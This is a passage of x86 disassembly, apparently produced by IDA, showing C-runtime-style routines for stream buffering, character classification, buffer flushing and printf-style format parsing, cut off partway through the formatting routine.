loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC01C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC01C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D588
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5A8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4D0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432860o
					; ___:0043286Co
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE78	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D094
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D090
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D420
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D42C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D424
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D090
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
